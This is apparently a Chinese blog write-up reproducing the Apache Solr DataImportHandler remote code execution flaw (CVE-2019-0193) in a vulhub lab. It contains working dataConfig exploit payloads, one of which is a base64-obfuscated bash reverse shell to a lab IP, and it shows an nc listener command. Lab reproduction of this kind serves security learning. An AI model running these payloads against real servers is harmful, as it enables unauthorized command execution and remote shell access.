1. 程式人生 > 其它 >Apache Solr 遠端命令執行漏洞復現(CVE-2019-0193)

Apache Solr 遠端命令執行漏洞復現(CVE-2019-0193)

一.漏洞介紹

Apache Solr 是一個開源的搜尋伺服器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。此次漏洞出現在Apache Solr的DataImportHandler,該模組是一個可選但常用的模組,用於從資料庫和其他源中提取資料。它具有一個功能,其中所有的DIH配置都可以通過外部請求的dataConfig引數來設定。由於DIH配置可以包含指令碼,因此攻擊可以通過構造危險的請求,從而造成遠端命令執行。

如果想了解更多,參考:https://paper.seebug.org/1009/

二.影響範圍

Solr影響的範圍較廣,版本不限於8.2.

三.操作步驟

1.開啟靶場

靶場位置:vulhub-master/solr/CVE-2019-0193

2.訪問靶場,進行復現

靶場不需要登入,已經是管理員頁面了,直接訪問就可以了。

3.執行命令

docker-compose exec solr bash bin/solr create_core -c test2 -d example/example-DIH/solr/db

可以看到這個已經執行成功了,重新整理頁面就可以知道。

在添加了核心之後,將使用POC對漏洞進行復現。在Configuration中新增下面的POC;

<dataConfig>
<dataSource type="URLDataSource"/>


<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/CVE-2019-0193");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />

</document>
</dataConfig>

在新增之後,返回虛擬機器中進行檢視,

4.修改POC程式碼

<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>

</dataConfig>

5.監聽埠,反彈shell

命令:nc -lnvp 1234

在進行監聽操作之後,我發現並沒有反彈shell,也毫無反應,難道就只存在檔案的寫入嗎?

可是,在看見其他文章時,也可以反彈啊,這是為什麼?試了好幾遍還是不可以,

有點頭大。

參考連結:https://blog.mumusec.com/index.php/archives/57/

歡迎一起交流。